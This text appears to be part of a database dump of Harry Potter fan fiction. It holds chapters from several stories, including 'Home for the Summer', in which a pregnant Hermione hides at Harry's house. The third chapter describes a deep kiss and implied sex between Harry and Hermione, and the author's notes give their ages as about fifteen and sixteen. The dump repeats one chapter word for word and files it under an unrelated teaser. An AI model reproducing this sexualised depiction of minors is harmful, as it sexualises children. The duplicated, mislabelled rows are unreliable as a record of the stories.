staring at Dumbledore wide-eyed. In front of him was sitting the most powerful considered wizard of the world, admitting that he can&#8217;t defeat the Dark Lord. What will happen then? Who will stop Voldemort? If Dumbledore told this to the Wizarding World what will happen? People will surrender to Voldemort. No one will raise a voice against him. And the first thing Voldemort will do will be to kill all the Muggle-borns or to make them slaves. Harry shivered at the thought.<br>\n\n\n<br>\n Dumbledore continued. &#8220;Harry you are the only one left now who can stop Voldemort. There is no one else. The fate of the world lies in your hands.&#8221;<br>\n\n\n<br>\n &#8220;But&#8230;&#8221; Harry was confused and doubted Dumbledore&#8217;s words.<br>\n\n\n<br>\n &#8220;No buts Harry. Confusion and doubt will only make you weak. You realize how many more will die if you will not face reality. Cedric was but just a beginning! You have to face it Harry.&#8221; Dumbledore completely understood his condition. Of course he knew what he was asking was very difficult for Harry and he understood his condition but there was no other way. Harry Potter was the only one he could see as a match for Voldemort and if he denied, terrible times will come to the Wizarding World.<br>\n\n\n<br>\n &#8220;I am ready Professor. What do I have to do?&#8221; Harry said in a determined tone.<br>\n\n\n<br>\n &#8220;At first, thank you Harry. I knew I could count on you.&#8221; Dumbledore said, satisfied at his success. &#8220;And from now on, I&#8217;ll be taking your Animagus classes along with a special defense class. The defense class will be to enhance your capabilities and it will be after Animagi class.&#8221;<br>\n\n\n<br>\n &#8220;Yes, and Harry I want you to read this book.&#8221; He moved a slip of paper towards Harry. &#8220;You can borrow it from Madam Pince. I have given the permission. The book will help you to settle with the idea of wandless magic and you&#8217;ll find the spells most compatible for wandless magic.&#8221; Professor Dumbledore said.<br>\n\n\n<br>\n &#8220;Is the book in Restricted Section of the library?&#8221; Harry wondered. &#8220;Yes it is, Harry.&#8221;<br>\n\n\n<br>\n &#8220;It is not on Dark Magic, is it?&#8221; Harry asked curiously. Dumbledore laughed. &#8220;No it is not. It is just not for an ordinary student.&#8221; Dumbledore gazed deeply into his eyes. Harry felt himself in a trance.<br>\n\n\n<br>\n &#8220;You may leave now Harry.&#8221; &#8220;Good bye Professor.&#8221; Harry stood and moved out of the door towards his next class.<br>\n\n\n<br>\n &#8220;&#8221; &#8220;&#8221; &#8220;&#8221; &#8220;&#8221; &#8220;&#8221; &#8220;&#8221; &#8220;&#8221; &#8220;&#8221; &#8220;&#8221; &#8220;&#8221; &#8220;&#8221; &#8220;&#8221; &#8220;&#8221; &#8220;&#8221; &#8220;&#8221; &#8220;&#8221; &#8220;&#8221; &#8220;&#8221; &#8220;&#8221; &#8220;&#8221; &#8220;&#8221; &#8220;&#8221; &#8220;&#8221; &#8220;&#8221; &#8220;&#8221; &#8220;&#8221; &#8220;&#8221; &#8220;&#8221; &#8220;&#8221; &#8220;&#8221; &#8220;&#8221; &#8220;&#8221; &#8220;&#8221; &#8220;&#8221; &#8220;&#8221; &#8220;&#8221; &#8220;&#8221; &#8220;&#8221; &#8220;&#8221; &#8220;&#8221; &#8220;&#8221; &#8220;&#8221; &#8220;&#8221; &#8220;&#8221;<br>\n\n\n<br>\n Harry reached Hermione in his Care of Magical Creatures class. All the other students were already there. Hermione was standing close to Hagrid, furiously taking notes about the centaurs.<br>\n\n\n<br>\n &#8220;Hi &#8216;Arry&#8221; Hagrid beamed at him.<br>\n\n\n<br>\n &#8220;Hi Hagrid&#8221; Harry said dully and moved towards Hermione.<br>\n\n\n<br>\n By this time Hermione had noticed his arrival and was looking at Harry. Harry looked around for Ron while moving towards Hermione. He was standing with Seamus again.<br>\n\n\n<br>\n &#8220;So, you went to Professor Dumbledore, right?&#8221; She said once he reached her.<br>\n\n\n<br>\n &#8220;Yes&#8221; Harry replied shortly. He still didn&#8217;t want to tell anybody about it. &#8216;It should be kept a secret until time.&#8217; He thought.<br>\n\n\n<br>\n &#8220;What did he say?&#8221; Hermione asked excitedly. &#8220;No thing special.&#8221; He replied.<br>\n\n\n<br>\n &#8220;What? No thing special?&#8221; Hermione was confused. &#8220;Yeah, even he didn&#8217;t knew how did that happened?&#8221; Harry said in an irritated manner. He wanted to satisfy Hermione. Apparently she was not at all satisfied. &#8220;He wasn&#8217;t aware what it was? Oh, then it&#8217;s got to be serious. I think I should go search it in the library.&#8221; She asked in a worried tone.<br>\n\n\n<br>\n It still felt strange to Harry hearing that someone was worried for him. Apparently Dursleys&#8217; words had a very bad effect on Harry&#8217;s young mind.<br>\n\n\n<br>\n &#8220;Hermione, we all know that Dumbledore has got more knowledge than all the books in the library. There is no use searching them.&#8221; Harry said.<br>\n\n\n<br>\n &#8220;But&#8230;&#8221; Hermione tried to protest. &#8220;No buts.&#8221;<br>\n\n\n<br>\n &#8220;OK. OK. But I&#8217;ll search it anyway. No arguments.&#8221; They moved back towards Hogwarts once the class came to an end.<br>\n\n\n<br>\n &#8220;&#8221; &#8220;&#8221; &#8220;&#8221; &#8220;&#8221; &#8220;&#8221; &#8220;&#8221; &#8220;&#8221; &#8220;&#8221; &#8220;&#8221; &#8220;&#8221; &#8220;&#8221; &#8220;&#8221; &#8220;&#8221; &#8220;&#8221; &#8220;&#8221; &#8220;&#8221; &#8220;&#8221; &#8220;&#8221; &#8220;&#8221; &#8220;&#8221; &#8220;&#8221; &#8220;&#8221; &#8220;&#8221; &#8220;&#8221; &#8220;&#8221; &#8220;&#8221; &#8220;&#8221; &#8220;&#8221; &#8220;&#8221; &#8220;&#8221; &#8220;&#8221; &#8220;&#8221; &#8220;&#8221; &#8220;&#8221; &#8220;&#8221; &#8220;&#8221; &#8220;&#8221; &#8220;&#8221; &#8220;&#8221; &#8220;&#8221; &#8220;&#8221; &#8220;&#8221; &#8220;&#8221; &#8220;&#8221;<br>\n\n\n<br>\n Harry had borrowed that book, which Dumbledore had suggested, from Madam Pince. This book was a very old one. Its cover was ragged and Harry could barely make out the words written. The title of the book was &#8220;The ancient spells: A legacy from our ancestors&#8221;.<br>\n\n\n<br>\n Harry opened the book after sitting in his bed and drawing the curtains. All of his dorm-mates have gone to sleep. He was now sitting alone with the book in his lap.<br>\n\n\n<br>\n Harry did a quick overlook of book and decided that it would be very interesting to read it.<br>\n\n\n<br>\n He spent the next hour looking over basic spells which were already higher than the Hogwarts&#8217; level.<br>\n\n\n<br>\n He even practiced some of them and it build up his morale when he succeeded. The silencing charm around his bed kept other boys from interrupting.<br>\n\n\n<br>\n However, after that, he felt very sleepy and went to sleep. Tomorrow was going to be a very busy day for him and he needed his sleep in order to survive through it.<br>\n\n\n<br>\n &#8220;&#8221; &#8220;&#8221; &#8220;&#8221; &#8220;&#8221; &#8220;&#8221; &#8220;&#8221; &#8220;&#8221; &#8220;&#8221; &#8220;&#8221; &#8220;&#8221; &#8220;&#8221; &#8220;&#8221; &#8220;&#8221; &#8220;&#8221; &#8220;&#8221; &#8220;&#8221; &#8220;&#8221; &#8220;&#8221; &#8220;&#8221; &#8220;&#8221; &#8220;&#8221; &#8220;&#8221; &#8220;&#8221; &#8220;&#8221; &#8220;&#8221; &#8220;&#8221; &#8220;&#8221; &#8220;&#8221; &#8220;&#8221; &#8220;&#8221; &#8220;&#8221; &#8220;&#8221; &#8220;&#8221; &#8220;&#8221; &#8220;&#8221; &#8220;&#8221; &#8220;&#8221; &#8220;&#8221; &#8220;&#8221; &#8220;&#8221; &#8220;&#8221; &#8220;&#8221; &#8220;&#8221; &#8220;&#8221;</p> '),
	(194, 1, 'Over the Edge<br><br><br><br>~ Poor Harry Potter. He started out in life \nas an orphan, then there\'s this wizard he knows as Lord Voldemort that is out to \nmake him dead. Sure, he looks strong, and brave, but that\'s only on the outside. \nHarry\'s about to loose all sanity left in his mind, and those to suffer, are the \nstudents at Hogwarts. And only one person can do something to help, and that\'s \nHermione.~<br><br><br><br>Silence, it was all around her, settling in her mind. \nAnother late night in the common room, studying, alone with the fire of course. \nHermione was indulged in her Charms textbook over one of the tables. There was \nan exam two weeks away, one she was fearing over nothing for.<br><br>Her mind \nstartled when the portrait hole opened. So late at night, she had expected \neveryone to be asleep.<br><br>&quot; Who\'s there?&quot; Hermione whispered \nharshly.<br><br>&quot; It\'s just me&quot; Harry. He sounded exhausted and upset. She could \ntell from only three words.<br><br>&quot; Oh, hello Harry&quot; she greeted, closing the \nbook, &quot; where were you?&quot;.<br><br>He was trying to get away from her, &quot; the \nbathroom&quot;.<br><br>Hermione rushed to block his path to the staircase, &quot; for how \nlong? I\'ve been down here for awhile, I didn\'t hear you leave&quot;.<br><br>&quot; That \nmust have been it, good night&quot;.<br><br>She stopped him one last time for a \nfriendly hug given on random occasions, &quot; good night&quot;.<br><br>He quickly hugged \nher in return, then brushed past and went \nupstairs.<br><br><br><br><br><br>Foreshadowing Chapter Two- Why does Hermione \nwake in her bed the next morning with blood on her bed \nsheets?<br><br><br><br>Authors Note: It\'s short, yes, but that\'s why it\'s a \nteaser, for now and only now of course. Yes, I know, very many people cannot see \nHarry being the horrible person he will become in this story, but you\'ll see \nwhere he\'s coming from. Trust me, and give it a chance. Thanks!\n'),
	(194, 2, '~ Home for the Summer~<br><br><br><br><br><br>Chapter Two- No More \nTears<br><br><br><br><br><br><br><br>Harry froze, his mind went blank, he could \nonly focus on her, but without recognizing her. Hermoine watched him closely, \nnot knowing what he was thinking. Frankly, it was scaring her.<br><br>&quot; Harry, \nsay something&quot; the tears were unbearable.<br><br>His hands were shaking, and he \ndidn\'t want her to feel it. Harry strained the feeling, wrapping his arms around \nher back, pulling her closer. &quot; I started feeling sick at the end of last \nsemester, and ignored it. My mum took me to the doctors two months after missing \nmy.&quot;.<br><br>&quot; I-I know&quot; he finished for her. Even after four years of spending \ntime at Hogwarts around only boys, she was still uncomfortable about mentioning \nfemine things around them, at least being calm. Harry removed the light jacket \nhe wore, wrapping it around Hermoine\'s shoulders, &quot; come on, let\'s get you home, \nor at least, back to my house&quot; he offered his hand to her. After she accepted, \nthe two began to walk away from the crowds at the bus stop.<br><br><br><br>&quot; The \nscreaming went on for hours, eventually, they went around in circles and started \nrepeating themselves. I had little money left over from my birthday, I used it \nall to get here&quot;.<br><br>Harry still held her hand down the dark London streets, \n&quot; I\'m glad you did&quot; he paused, venturing to ask and actually know something \nabout the female body, &quot; when are you suppose.to have the baby?&quot;.<br><br>Even in \na state of depression, Hermoine still had her spunky attitude, &quot; it\'s called a \ndue date Harry&quot;.<br><br>&quot; Right&quot; he joked, &quot; when\'s your due date?&quot;.<br><br>&quot; \nAnother six months&quot; she sighed, &quot; in January&quot;.<br><br>He paused, &quot; we\'ll be at \nschool&quot;.<br><br>She laughed, &quot; I\'ve been taken off the acceptance list, forever, \nmy parents will no longer pay the tuition&quot;.<br><br>&quot; Maybe there\'s another \nway&quot;.<br><br>&quot; While I\'m pregnant?&quot; Hermoine mocked an eyebrow.<br><br>Harry \nshrugged, &quot; I don\'t know much about this kind of thing&quot;.<br><br>&quot; It\'s all new \nto me too&quot;.<br><br>He looked down at her, &quot; you won\'t have to be alone, you\'re \nstaying with me&quot; while he was commanding, she still had the option of \nobjection.<br><br>&quot; What about your aunt and uncle? And your cousin?&quot;.<br><br>He \nlooked ahead of them, &quot; okay, so we\'ll have to keep it a secret, but they work \nall day, and Dudley goes to some fat camp, and trust me, he would not tell if he \nwere to find out&quot;.<br><br>Hermoine looked up at him again, &quot; what about in \nSeptember?&quot;.<br><br>Harry paused, hesitating, not knowing a good enough answer, \nor an explanation to go with it. &quot; We\'ll cross that bridge when we get to \nit&quot;.<br><br><br><br>No lights were on in the house when they arrived, no one \nknew he had left. Signaling that no sound could be made, Harry led Hermoine \nthrough the dark kitchen and into the hallway. She couldn\'t help noticing the \nsmall cupboard under the stairs, the prison he once occupied. Both let out a \nsigh of relief when entering Harry\'s room and he had closed the door.<br><br>&quot; \nI\'m use to sneaking around in the dark with you&quot; Hermoine smiled, &quot; except \nthere\'s no Fluffy&quot; she referred to the nightly quests at Hogwarts.<br><br>&quot; Only \nDudley&quot; Harry commented.<br><br>Hermoine giggled, &quot; thank you&quot; she stopped \nsuddenly.<br><br>Harry looked at her before walking into his closet, &quot; you\'re \nwelcome&quot;. He disappeared for a moment. She glared around the room at every \ndetail.<br><br>He emerged with a t-shirt and a pair of jeans, just as she \nnoticed a picture frame on the wall near the door. &quot; Is that your \nparents?&quot;.<br><br>Harry did not need to see the smiling couple, &quot; yes, it was \ntaken on their honeymoon, at least, that\'s what I\'m told&quot; he handed over the \nclothing articles.<br><br>Hermoine took them, though still studied the picture, \n&quot; you look like your mum&quot;.<br><br>He smiled, &quot; everyone says that. Apparently, a \nchild obtains it\'s physical features from the parent of the opposite gender&quot;. \nThen, he realized it was a rather sensitive subject, in which he quickly \nchanged. &quot; Um, I\'ll leave so you can change&quot;.<br><br>She watched him leave, &quot; \nthanks&quot; whispering.<br><br>Harry took a few small steps in the hallway, then \nbolted to the bathroom, managing to slam the door and flick the light switch. \nCoughing downward into the toilet, he couldn\'t think straight. Twenty-four \nhours, he would be doing something as simple as reading, or playing on the \ncomputer. He rested his forehead on the rim, knowing he had to pull himself \ntogether, for Hermoine. She had been through and would be going through worse \nthings, vomiting included.<br><br>After rinsing his mouth, he went back to the \nroom. Harry began to say something to Hermoine, then turned around, she was \nasleep, laying on the bed. He turned off the lamp, then carefully slid onto the \nother side of the bed. Now it was too hot for any blankets.<br><br>&quot; Harry&quot; her \nvoice was clear.<br><br>&quot; Yeah?&quot;.<br><br>She lifted herself off the mattress, \nsensing where he was, placing his lips upon his, then laying back on her side, &quot; \ngood night&quot;.<br><br>He paused, &quot; good night&quot;.<br><br>Hours later, Hermoine was \nasleep, Harry wasn\'t. he placed a hand on her lower stomach, nothing happened, \nnot yet anyways, but he could feel her breathe. Throughout the night, Harry did \nnot ask her about the baby\'s father. Already knowing that it was \nhim.<br><br><br><br><br><br><br><br>~ Should I continue?~\n'),
	(195, 1, '~ Home for the Summer~<br><br><br><br><br><br>Summary: During a summer \nbreak from Hogwarts, Harry is the only one who can help Hermoine. Set 3 years \nafter the events in \' The Chamber of Secrets\'.<br><br>Disclaimer: I own nothing, \naway with your wands!<br><br>A/N: Cut me some slack, I don\'t know too much about \nHarry Potter<br><br><br><br><br><br>Chapter One- Summer \nVacation<br><br><br><br><br><br>Ah, summer. While those three months of relief \nare overwhelming to most teenagers, Harry Potter was not a normal teenager. \nSure, his aunt and uncle were no longer a problem, his cousin wouldn\'t go within \nten feet of him. He practiced magic, but he was the only one. Hogwarts was his \nhome, this was temporary.<br><br><br><br>Ron was to spend the vacation in \nRomania with his brother and parents, so he wouldn\'t see him until September, \nwhen the next semester was to begin. But Hermoine was at home, far away, yet \nthere was the internet. Both were online as much as possible, and he missed her, \na lot.<br><br>One lazy Saturday in early July, Harry was reading a spell boo, \nsprawled across his bed in his room that was not in the cupboard under the \nstairs. A ring tuned from his computer, telling him she had logged on under her \nscreen name.<br><br>Wizard163: hey, I lit the neighbors car on fire, luckily he \nran into the pool<br><br><br><br>MagicTips: I have such a huge problem, oh my \ngod, you have to help me Harry!<br><br>Wizard163: alright, what\'s \nwrong?<br><br>He sensed her emotion.<br><br>MagicTips: I\'m coming to see you \nHarry, I have to see you!<br><br>Wizard163: okay, okay, what\'s going \non?<br><br>He furiously hit each letter. Excited she was coming, worried \nwhy.<br><br>MagicTips: Please! Meet me at the bus station at 11, \nplease!<br><br>He didn\'t know what else to do.<br><br>Wizard163: are you \nsure?<br><br>MagicTips: yes, you\'re the only one I can talk to right \nnow<br><br>Wizard163: alright, I\'ll be there<br><br><br><br>And she logged \noff.<br><br><br><br><br><br>It took half an hour to walk to the city bus \nstation. Harry snuck out the back door at precisely ten twenty-nine, taking the \ncar would wake his aunt and uncle, and if he were to not return alone, it just \nwouldn\'t work. He walked very fast to his destination. For July, it was rather \ncold out.<br><br>Since the growth spur the summer before, he wouldn\'t have \ntrouble finding her. No one\'s face getting off the bus rang a bell in his mind. \nThen he saw her, Hermoine, her face drained down her tear stained cheeks. The \nshirt and jeans she wore were wrinkled and torn. Harry froze, he did not want to \nbelieve it was really her. But she stood right in front of him.<br><br><br><br>&quot; \nHermoine, what happened to you?&quot;.<br><br><br><br>Her lip began to tremble, &quot; my \nparents threw me out, I didn\'t have the chance to bring anything with \nme&quot;.<br><br>&quot; It\'s okay&quot; he spoke softly. She looked down, he brought his hand \nto gently tracing her jaw line, getting her to lift her neck to gaze at him. &quot; \nWhat happened?&quot;.<br><br><br><br>&quot; They got bad&quot; she took a deep breath, &quot; they \ngot really mad, when I-I told them&quot;.<br><br>Harry kept watching her, &quot; when you \ntold them what?&quot;.<br><br><br><br>Hermoine looked down again, &quot; when I told them \nI was pregnant&quot;.<br><br><br><br><br><br><br><br>_Srry- it\'s short, but at least \nit gets the plot going. Let me know what you think\n'),
	(195, 2, '~ Home for the Summer~<br><br><br><br><br><br>Chapter Two- No More \nTears<br><br><br><br><br><br><br><br>Harry froze, his mind went blank, he could \nonly focus on her, but without recognizing her. Hermoine watched him closely, \nnot knowing what he was thinking. Frankly, it was scaring her.<br><br>&quot; Harry, \nsay something&quot; the tears were unbearable.<br><br>His hands were shaking, and he \ndidn\'t want her to feel it. Harry strained the feeling, wrapping his arms around \nher back, pulling her closer. &quot; I started feeling sick at the end of last \nsemester, and ignored it. My mum took me to the doctors two months after missing \nmy.&quot;.<br><br>&quot; I-I know&quot; he finished for her. Even after four years of spending \ntime at Hogwarts around only boys, she was still uncomfortable about mentioning \nfemine things around them, at least being calm. Harry removed the light jacket \nhe wore, wrapping it around Hermoine\'s shoulders, &quot; come on, let\'s get you home, \nor at least, back to my house&quot; he offered his hand to her. After she accepted, \nthe two began to walk away from the crowds at the bus stop.<br><br><br><br>&quot; The \nscreaming went on for hours, eventually, they went around in circles and started \nrepeating themselves. I had little money left over from my birthday, I used it \nall to get here&quot;.<br><br>Harry still held her hand down the dark London streets, \n&quot; I\'m glad you did&quot; he paused, venturing to ask and actually know something \nabout the female body, &quot; when are you suppose.to have the baby?&quot;.<br><br>Even in \na state of depression, Hermoine still had her spunky attitude, &quot; it\'s called a \ndue date Harry&quot;.<br><br>&quot; Right&quot; he joked, &quot; when\'s your due date?&quot;.<br><br>&quot; \nAnother six months&quot; she sighed, &quot; in January&quot;.<br><br>He paused, &quot; we\'ll be at \nschool&quot;.<br><br>She laughed, &quot; I\'ve been taken off the acceptance list, forever, \nmy parents will no longer pay the tuition&quot;.<br><br>&quot; Maybe there\'s another \nway&quot;.<br><br>&quot; While I\'m pregnant?&quot; Hermoine mocked an eyebrow.<br><br>Harry \nshrugged, &quot; I don\'t know much about this kind of thing&quot;.<br><br>&quot; It\'s all new \nto me too&quot;.<br><br>He looked down at her, &quot; you won\'t have to be alone, you\'re \nstaying with me&quot; while he was commanding, she still had the option of \nobjection.<br><br>&quot; What about your aunt and uncle? And your cousin?&quot;.<br><br>He \nlooked ahead of them, &quot; okay, so we\'ll have to keep it a secret, but they work \nall day, and Dudley goes to some fat camp, and trust me, he would not tell if he \nwere to find out&quot;.<br><br>Hermoine looked up at him again, &quot; what about in \nSeptember?&quot;.<br><br>Harry paused, hesitating, not knowing a good enough answer, \nor an explanation to go with it. &quot; We\'ll cross that bridge when we get to \nit&quot;.<br><br><br><br>No lights were on in the house when they arrived, no one \nknew he had left. Signaling that no sound could be made, Harry led Hermoine \nthrough the dark kitchen and into the hallway. She couldn\'t help noticing the \nsmall cupboard under the stairs, the prison he once occupied. Both let out a \nsigh of relief when entering Harry\'s room and he had closed the door.<br><br>&quot; \nI\'m use to sneaking around in the dark with you&quot; Hermoine smiled, &quot; except \nthere\'s no Fluffy&quot; she referred to the nightly quests at Hogwarts.<br><br>&quot; Only \nDudley&quot; Harry commented.<br><br>Hermoine giggled, &quot; thank you&quot; she stopped \nsuddenly.<br><br>Harry looked at her before walking into his closet, &quot; you\'re \nwelcome&quot;. He disappeared for a moment. She glared around the room at every \ndetail.<br><br>He emerged with a t-shirt and a pair of jeans, just as she \nnoticed a picture frame on the wall near the door. &quot; Is that your \nparents?&quot;.<br><br>Harry did not need to see the smiling couple, &quot; yes, it was \ntaken on their honeymoon, at least, that\'s what I\'m told&quot; he handed over the \nclothing articles.<br><br>Hermoine took them, though still studied the picture, \n&quot; you look like your mum&quot;.<br><br>He smiled, &quot; everyone says that. Apparently, a \nchild obtains it\'s physical features from the parent of the opposite gender&quot;. \nThen, he realized it was a rather sensitive subject, in which he quickly \nchanged. &quot; Um, I\'ll leave so you can change&quot;.<br><br>She watched him leave, &quot; \nthanks&quot; whispering.<br><br>Harry took a few small steps in the hallway, then \nbolted to the bathroom, managing to slam the door and flick the light switch. \nCoughing downward into the toilet, he couldn\'t think straight. Twenty-four \nhours, he would be doing something as simple as reading, or playing on the \ncomputer. He rested his forehead on the rim, knowing he had to pull himself \ntogether, for Hermoine. She had been through and would be going through worse \nthings, vomiting included.<br><br>After rinsing his mouth, he went back to the \nroom. Harry began to say something to Hermoine, then turned around, she was \nasleep, laying on the bed. He turned off the lamp, then carefully slid onto the \nother side of the bed. Now it was too hot for any blankets.<br><br>&quot; Harry&quot; her \nvoice was clear.<br><br>&quot; Yeah?&quot;.<br><br>She lifted herself off the mattress, \nsensing where he was, placing his lips upon his, then laying back on her side, &quot; \ngood night&quot;.<br><br>He paused, &quot; good night&quot;.<br><br>Hours later, Hermoine was \nasleep, Harry wasn\'t. he placed a hand on her lower stomach, nothing happened, \nnot yet anyways, but he could feel her breathe. Throughout the night, Harry did \nnot ask her about the baby\'s father. Already knowing that it was \nhim.<br><br><br><br><br><br><br><br>~ Should I continue?~\n'),
	(195, 3, '~ Home for the Summer~<br><br>Summary: This is the flashback chapter, \nbasically telling where this all started, the previous semester at \nHogwarts.<br><br><br><br>Responses to Reviews:<br><br>Mystic Gohan- Hermoine is \nfifteen years old and she\'s pregnant, no teenagers parents would be exactly \nthrilled. Maybe not to the point of literally throwing her out of her home, but \nit\'s only for the plot so she would be with Harry.<br><br>Lord Marix- Thank you, \nI didn\'t know my anonymous review blocker was on, it\'s off now. As for when the \nstory takes place, I added that Harry can drive (not like the car in Chamber of \nSecrets, this one stays on the ground) but never really specified. Though in the \nfirst chapter, I mentioned it was three years after the events in the Chamber of \nSecrets. They were about 12 there, making them 15 now. But Harry\'s birthday is \nin the summer so he\'d be just turned 16, and Hermoine maybe 15. Therefore, the \nfollowing September would be their.(I\'m thinking here) sixth year at \nHogwarts.<br><br>Now, onto the next chapter<br><br><br><br>Chapter Three- The \nDiary<br><br><br><br><br><br>&quot; That\'s cheating you idiot! You cannot move you\'re \nking there!&quot; Ron cried. During yet another game of chests, regular chess that \nis, Harry was the lasting champion, nothing new, but the opponent still tried to \nfind an excuse.<br><br>And it never worked, &quot; yes I can, it\'s the winning move, \ncheating to you is when I kick your helpless butt&quot;. Hermoine, the only spectator \nin the grand hall, giggled at Harry\'s comment.<br><br>Ron stumped over his arm, \n&quot; that\'s why you cheat a lot&quot; he sighed.<br><br>Harry looked over at Hermoine, &quot; \ncare to play?&quot;.<br><br>&quot; No&quot; she smiled, &quot; I can tell you right now I\'d loose&quot; \nshe glared at Ron, &quot; I have no problem admitting it either&quot;. Harry looked at \nRon, a look only seen when Hermoine made such a comment, which was very common. \n&quot; I\'m going to bed&quot;. She stood from the bench and walked out of the \nroom.<br><br>The boys watched her, &quot; bloody hell&quot; Ron commented, a famous one \nfor him, &quot; you\'d think after five years, I\'d be use to her&quot;.<br><br>Harry \nshrugged, &quot; it\'s not hard, it\'s not like she\'s going to change her personality \nfor you&quot;. Ron turned from watching Hermoine leave to a sly evil grin towards \nhim. &quot; What?&quot;.<br><br>Ron kept smiling, &quot; you like Hermoine&quot;.<br><br>&quot; What?!&quot; \nhis voice jumped, and he already gone through puberty. But his best friend had \nhit a sore spot in his own mind, &quot; where did that come from?&quot;.<br><br>&quot; A \nthought I had, and has for quiet sometime. I believe, what a coincidence&quot; he \nsarcastically said, &quot; five years&quot; .<br><br>Harry tried to find an appropriate \nobjection, &quot; I think you\'re the one who loves her&quot; that was not it.<br><br>&quot; \nLove?&quot; Ron raised an eyebrow at the change in vocabulary, &quot; even if I did love \nherm it wouldn\'t matter, because she does not love me in return. You, on the \nother hand&quot;.<br><br>Harry dropped every chess piece he had been holding back to \nthe board, ignoring the clutter sounds. He was shocked, defiantly, even though \nRon already knew it, Harry tried to hide it. &quot; We\'re a little too old for this \nRon, Hermoine does not love me, or whatever you may want to call \nit&quot;.<br><br>While he continued with the chess pieces, Tom removed a tan leather \nbook from the school bag he had. Harry only noticed when he began to read. &quot; \nApril fifteenth, it\'s been so long, I cannot count the days anymore. My feelings \nare locked away, and yet, I\'m too ashamed to admit them. He may not understand, \nhe may laugh, he may not feel the same in return&quot;.<br><br>&quot; What the hell is \nthat?&quot; Harry studied the open book Ron was reading from.<br><br>Ron\'s blissful \ngrin intimidated him, &quot; Hermoine\'s diary, I found it&quot;.<br><br>&quot; You moron!&quot; he \nreached across the table, snatching it away, the closing it while sitting down \nagain, &quot; this isn\'t yours, it\'s none of your business, and you had no right to \ntake it!&quot;.<br><br>Ron kept the grin, &quot; you\'re a little jumpy&quot;.<br><br>&quot; She does \nnot mention my name or any name&quot;.<br><br>&quot; Yeah, but we\'re the only guys she\'s \never around, and it\'s clearly not me&quot;.<br><br>&quot; Even if it was me&quot; Harry lowered \nhis voice before speaking again, &quot; if it\'s in here, it was because she does not \nwant anyone else to know&quot;. He got up from the table, holding the diary.<br><br>&quot; \nWhere are you going?&quot; Ron asked, seeing Harry was about to walk away.<br><br>&quot; \nTo give this back to her&quot;.<br><br>&quot; She\'ll kill you if she sees you have it!&quot; \nRon exclaimed.<br><br>&quot; Not if I tell her I found it under your \nbed&quot;.<br><br><br><br>Hermoine opened the door to her dorm room, in her pajamas, \nbut no sign of her being asleep. But she looked very happy to see Harry, \ngreeting him with a warm smile.<br><br>&quot; I didn\'t wake you, did I?&quot;.<br><br>She \nshook her head, &quot; no, no, I was just looking for something&quot;.<br><br>He held up \nher diary so she could see, &quot; by any chance, this?&quot;.<br><br>Hermoine\'s eyes grew \nwider, her jaw fell, &quot; wh-where did you find that?&quot;.<br><br>&quot; Ron had it, I \ndon\'t know how he found it&quot; Harry spoke quickly before she could mentally accuse \nhim.<br><br>Then she seemed a little sad, &quot; did he read it?&quot;.<br><br>Over time, \nHarry discovered that he could never lie to Hermoine, he did not have the will \npower, even a little white lie, in such a situation, &quot; yes&quot; he paused, &quot; but I \nwasn\'t paying attention, I was putting the game away. I didn\'t really hear&quot; \nokay, he could lie through part of it.<br><br>She looked slightly relieved, \nthough angry, at least it was only at Ron. He watched. &quot; Come in&quot; Hermoine \ngrabbed his wrist and shut the door before he could react.<br><br>Harry handed \nher the diary, she took it and threw it across the room. He watched it and began \nto think maybe she really was mad at him. Hermoine pressed her lips against his \nwith a strong force, indication, that she wasn\'t. It took him by surprise, one \nhe didn\'t mind the smallest bit. Pressing her body up to his, they stumbled into \nthe wall.<br><br>After another moment, she backed away slowly, Harry remained \nagainst the wall, still in shock. Hermoine giggled, &quot; what a shame, you get \nscared from one kiss&quot; she was purposely teasing him because of that. While Harry \ndid have detailed dreams about her then woke in a cold sweat, Ron often \noverheard them, Hermoine did not know of them, it\'s almost like she was reading \nhis mind. He wouldn\'t doubt if that were the issue.<br><br>&quot; Hermoine&quot; her name \nrang in his throat.<br><br>She turned as he moved away from the wall. Slowly, \nHarry closed the space between them. Hermoine didn\'t dare any movement, her legs \nfroze, her breaths became faster, and he hadn\'t done anything. Yet.<br><br>Harry \ntraced her jaw line, gently. She froze completely as he leaned close to her, \nplacing his lips upon hers, softer, compared to her attack. Willingly, she \nallowed her mouth to open slightly, enough for his tongue to slip through. Weird \nshocks ran up her spine when one hand went to her waist, the other stayed at her \nchin. Hermoine eagerly kissed him back, making it deeper, wrapping her arms \naround his neck so they\'d be closer. Harry moved the hand on her cheek to join \nthe hand on her hip, both guiding the other backwards. When her leg hit the bed \nframe, they broke the kiss. Looking into each others gaze, knowing it was the \nlast chance to stop, or keep what was already there. Both were panting, Hermoine \ngave a small nod, Harry slowly laid her down onto the comforter, she pulled her \ndown with him.<br><br><br><br><br><br>The next morning hit Harry like a barrel \nof rocks. Without warning, he shot up from a deep slumber. He looked around, it \nwas not his dorm, he looked down, besides the blankets, he was naked. And, he \nwas alone. He remembered what happened.<br><br>Just as he managed to get his \ncloak on, Harry entered the grand hall were breakfast was being served. Finding \nhis usual seat, with the usual crowd, Hermoine and Ron were there, already \nengaged in a conversation. At the same time, they both noticed him.<br><br>&quot; I \ntold you that you studied way too much&quot; Ron commented upon him sitting down \nacross from him, next to the girl he spent the night with.<br><br>&quot; What?&quot; Harry \nglared at him.<br><br>Hermoine stepped in, &quot; you fell asleep in the library last \nnight, I saw you on the way over here. You looked so cute, I didn\'t want to wake \nyou&quot; she gave him a certain look when saying the last part, the only part with \nany truth.<br><br>&quot; Oh&quot; he said softly, then realized what she was trying to \ntell him, &quot; oh&quot; he tried to make it sound more presentable to Ron, &quot; yes, I lost \ntrack of the time and just, fell asleep&quot;.<br><br>&quot; Did you return that one \nbook?&quot; now Ron was trying to secretly telling him something, poor Harry, his \nfriends doing this when he had been awake for five minutes at the \nmost.<br><br>But Ron was unaware that Hermoine knew the possession he had the \nnight before, &quot; yes, he returned my diary you slithering slug&quot;.<br><br>&quot; I am \nwhat I eat&quot; Ron said, proudly, &quot; and I can say that in a literal \nsense&quot;.<br><br>Hermoine ignored the gross comment, &quot; Harry, can I talk to you in \nthe corridor for a moment?&quot;.<br><br>Finally, he understood something right away, \n&quot; sure&quot;. He followed her down the aisle and through the large doorway. Ron \nthought nothing of it.<br><br><br><br>&quot; I\'m sorry about last night, I don\'t know \nwhat either of us were thinking and I think we were just caught up in the moment \nor something&quot; she immediately rushed into speaking the second they were out of \nearshot from anyone else.<br><br>&quot; I understand, I feel the same way, and I\'m \nsorry as well. It was something that should have never happened, and it would be \nbest if we tried to forget about it all together&quot; he didn\'t mean that, he really \ndid not 